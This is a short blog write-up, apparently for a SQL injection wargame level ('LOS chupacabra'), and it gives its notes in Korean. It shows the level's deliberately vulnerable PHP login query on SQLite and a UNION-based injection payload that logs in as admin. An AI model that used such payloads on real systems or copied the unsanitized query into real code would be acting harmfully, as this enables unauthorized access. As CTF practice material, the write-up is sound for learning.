LOS Lv.37 chupacabra
chupacabra
1
2
3
4
5
6
7
8
9
10
11
12
query : select id from member where id='' and pw=''
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/chupacabra.db");
$query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id'] == "admin") solve("chupacabra");
highlight_file(__FILE__);
?>
Solution
1
2
3
4
db가 sqlite로 바뀜. 하지만 바뀌는건 없음!
sqlite에는 주석이 -- 밖에 없는 듯함. #은 안됨.
?id=' union select 'admin' --%20
This post is licensed under CC BY 4.0 by the author.